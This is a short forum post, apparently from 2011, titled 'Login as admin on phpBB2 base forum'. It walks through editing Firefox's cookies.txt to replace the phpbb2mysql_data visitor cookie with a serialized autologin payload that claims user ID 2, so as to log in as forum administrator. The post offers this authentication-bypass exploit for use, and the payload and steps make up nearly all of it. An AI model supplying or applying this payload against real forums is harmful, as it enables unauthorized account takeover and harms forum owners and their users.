previous setting so you have hidden folders visible.,
how: click tools> folder options> view> check ”show hidden files and folders”>ok
1. Open forum on the Mozilla FireFox.
2. Close the browser.
3. Open cookies.txt (located in ”C: \ Documents and
Settings \ username \ ApplicationData \ Mozilla \ Firefox \ Profiles \ xxxxx.default”).
4. Find something like this:
-————————————————————————————————————–
127.0.0.1 FALSE / FALSE 1141920503 phpbb2mysql_data a%3A0%3A%7B%7D
—————————————————————————————————————//
127.0.0.1 FALSE / FALSE 1141920503 phpbb2mysql_data a%3A0%3A%7B%7D
—————————————————————————————————————//
127.0.0.1 is domain forum. a%3A0%3A%7B%7D is the cookie
data. that means you are a visitor.
5. open cookies with your teks editor, then edit —————————————————————————————————————
127.0.0.1 FALSE / FALSE 1141920503 phpbb2mysql_data a%3A0%3A%7B%7D
—————————————————————————————————————//
with
—————————————————————————————————————
127.0.0.1 FALSE / FALSE 1141920503 phpbb2mysql_data
a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bb%3A1%3Bs% 3A6%3A%22userid%22%3Bs%3A1%3A%222%22%3B%7D
—————————————————————————————————————//
save cookies.txt.
6. Open your browser again and go straight to the forum. You should now be able to login as admin! This does not always work, as some forums have been in the Patch.
Subyek: Login as admin on phpBB2 base forum 
Sat Oct 22, 2011 5:02 pm
